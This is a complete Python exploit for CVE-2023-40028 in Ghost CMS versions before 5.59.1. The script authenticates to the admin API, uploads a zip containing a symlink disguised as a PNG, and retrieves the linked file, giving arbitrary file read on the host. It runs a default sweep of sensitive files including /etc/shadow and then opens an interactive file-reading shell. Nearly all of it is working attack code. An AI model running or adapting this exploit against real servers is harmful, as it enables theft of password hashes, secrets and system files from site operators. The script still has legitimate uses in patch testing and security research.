📄 Ghost CMS 5.59.1 Arbitrary File Read

#!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    """
    # Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
    # Date: 2023-09-20
    # Exploit Author: ibrahimsql (https://github.com/ibrahmsql)
    # Vendor Homepage: https://ghost.org
    # Software Link: https://github.com/TryGhost/Ghost
    # Version: < 5.59.1
    # Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur
    # CVE: CVE-2023-40028
    # Category: Web Application Security
    # CVSS Score: 6.5 (Medium)
    # Description:
    # Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users
    # to upload files that are symlinks. This can be exploited to perform arbitrary file reads
    # of any file on the host operating system. The vulnerability exists in the file upload
    # mechanism which improperly validates symlink files, allowing attackers to access files
    # outside the intended directory structure through symlink traversal.
    
    
    # Requirements: requests>=2.28.1, zipfile, tempfile
    
    # Usage Examples:
    # python3 CVE-2023-40028.py http://localhost:2368 [email protected] password123
    # python3 CVE-2023-40028.py https://ghost.example.com [email protected] mypassword
    
    # Interactive Usage:
    # After running the script, you can use the interactive shell to read files:
    # file> /etc/passwd
    # file> /etc/shadow
    # file> /var/log/ghost/ghost.log
    # file> exit
    """
    
    import requests
    import sys
    import os
    import tempfile
    import zipfile
    import random
    import string
    from typing import Optional
    
    class ExploitResult:
        def __init__(self):
            self.success = False
            self.file_content = ""
            self.status_code = 0
            self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read"
            self.severity = "Medium"
    
    class GhostArbitraryFileRead:
        def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):
            self.ghost_url = ghost_url.rstrip('/')
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/plain, */*',
                'Accept-Language': 'en-US,en;q=0.9'
            })
            self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
            
        def authenticate(self) -> bool:
            """Authenticate with Ghost CMS admin panel"""
            login_data = {
                'username': self.username,
                'password': self.password
            }
            
            headers = {
                'Origin': self.ghost_url,
                'Accept-Version': 'v3.0',
                'Content-Type': 'application/json'
            }
            
            try:
                response = self.session.post(
                    f"{self.api_url}/session/",
                    json=login_data,
                    headers=headers,
                    timeout=10
                )
                
                if response.status_code == 201:
                    if self.verbose:
                        print("[+] Successfully authenticated with Ghost CMS")
                    return True
                else:
                    if self.verbose:
                        print(f"[-] Authentication failed: {response.status_code}")
                    return False
                    
            except requests.RequestException as e:
                if self.verbose:
                    print(f"[-] Authentication error: {e}")
                return False
        
        def generate_random_name(self, length: int = 13) -> str:
            """Generate random string for image name"""
            return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        
        def create_exploit_zip(self, target_file: str) -> Optional[str]:
            """Create exploit zip file with symlink"""
            try:
                # Create temporary directory
                temp_dir = tempfile.mkdtemp()
                exploit_dir = os.path.join(temp_dir, 'exploit')
                images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
                os.makedirs(images_dir, exist_ok=True)
                
                # Generate random image name
                image_name = f"{self.generate_random_name()}.png"
                symlink_path = os.path.join(images_dir, image_name)
                
                # Create symlink to target file
                os.symlink(target_file, symlink_path)
                
                # Create zip file
                zip_path = os.path.join(temp_dir, 'exploit.zip')
                with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                    for root, dirs, files in os.walk(exploit_dir):
                        for file in files:
                            file_path = os.path.join(root, file)
                            arcname = os.path.relpath(file_path, temp_dir)
                            zipf.write(file_path, arcname)
                
                return zip_path, image_name
                
            except Exception as e:
                if self.verbose:
                    print(f"[-] Error creating exploit zip: {e}")
                return None, None
        
        def upload_exploit(self, zip_path: str) -> bool:
            """Upload exploit zip file to Ghost CMS"""
            try:
                headers = {
                    'X-Ghost-Version': '5.58',
                    'X-Requested-With': 'XMLHttpRequest',
                    'Origin': self.ghost_url,
                    'Referer': f"{self.ghost_url}/ghost/"
                }
                
                with open(zip_path, 'rb') as f:
                    files = {
                        'importfile': ('exploit.zip', f, 'application/zip')
                    }
                    
                    response = self.session.post(
                        f"{self.api_url}/db",
                        files=files,
                        headers=headers,
                        timeout=30
                    )
                    
                    if response.status_code in [200, 201]:
                        if self.verbose:
                            print("[+] Exploit zip uploaded successfully")
                        return True
                    else:
                        if self.verbose:
                            print(f"[-] Upload failed: {response.status_code}")
                        return False
                        
            except requests.RequestException as e:
                if self.verbose:
                    print(f"[-] Upload error: {e}")
                return False
        
        def read_file(self, target_file: str) -> ExploitResult:
            """Read arbitrary file using symlink upload"""
            result = ExploitResult()
            
            if not self.authenticate():
                return result
            
            if self.verbose:
                print(f"[*] Attempting to read file: {target_file}")
            
            # Create exploit zip
            zip_path, image_name = self.create_exploit_zip(target_file)
            if not zip_path:
                return result
            
            try:
                # Upload exploit
                if self.upload_exploit(zip_path):
                    # Try to access the symlinked file
                    file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
                    
                    response = self.session.get(file_url, timeout=10)
                    
                    if response.status_code == 200 and len(response.text) > 0:
                        result.success = True
                        result.file_content = response.text
                        result.status_code = response.status_code
                        
                        if self.verbose:
                            print(f"[+] Successfully read file: {target_file}")
                            print(f"[+] File content length: {len(response.text)} bytes")
                    else:
                        if self.verbose:
                            print(f"[-] Failed to read file: {response.status_code}")
                
            except Exception as e:
                if self.verbose:
                    print(f"[-] Error during exploit: {e}")
            
            finally:
                # Cleanup
                try:
                    if zip_path and os.path.exists(zip_path):
                        os.remove(zip_path)
                    temp_dir = os.path.dirname(zip_path) if zip_path else None
                    if temp_dir and os.path.exists(temp_dir):
                        import shutil
                        shutil.rmtree(temp_dir)
                except:
                    pass
            
            return result
        
        def interactive_shell(self):
            """Interactive shell for file reading"""
            print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===")
            print("Enter file paths to read (type 'exit' to quit)")
            
            while True:
                try:
                    file_path = input("file> ").strip()
                    
                    if file_path.lower() == 'exit':
                        print("Bye Bye!")
                        break
                    
                    if not file_path:
                        print("Please enter a file path")
                        continue
                    
                    if ' ' in file_path:
                        print("Please enter full file path without spaces")
                        continue
                    
                    result = self.read_file(file_path)
                    
                    if result.success:
                        print(f"\n--- Content of {file_path} ---")
                        print(result.file_content)
                        print("--- End of file ---\n")
                    else:
                        print(f"Failed to read file: {file_path}")
                        
                except KeyboardInterrupt:
                    print("\nExiting...")
                    break
                except Exception as e:
                    print(f"Error: {e}")
    
    def main():
        if len(sys.argv) != 4:
            print("Usage: python3 CVE-2023-40028.py <ghost_url> <username> <password>")
            print("Example: python3 CVE-2023-40028.py http://localhost:2368 [email protected] password123")
            return
        
        ghost_url = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        
        exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)
        
        # Test with common sensitive files
        test_files = [
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "/proc/version",
            "/var/log/ghost/ghost.log"
        ]
        
        print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===")
        print(f"Target: {ghost_url}")
        print(f"Username: {username}")
        
        # Test authentication first
        if not exploit.authenticate():
            print("[-] Authentication failed. Please check credentials.")
            return
        
        print("\n[*] Testing common sensitive files...")
        for test_file in test_files:
            result = exploit.read_file(test_file)
            if result.success:
                print(f"[+] Successfully read: {test_file}")
                print(f"    Content preview: {result.file_content[:100]}...")
            else:
                print(f"[-] Failed to read: {test_file}")
        
        # Start interactive shell
        exploit.interactive_shell()
    
    if __name__ == "__main__":
        main()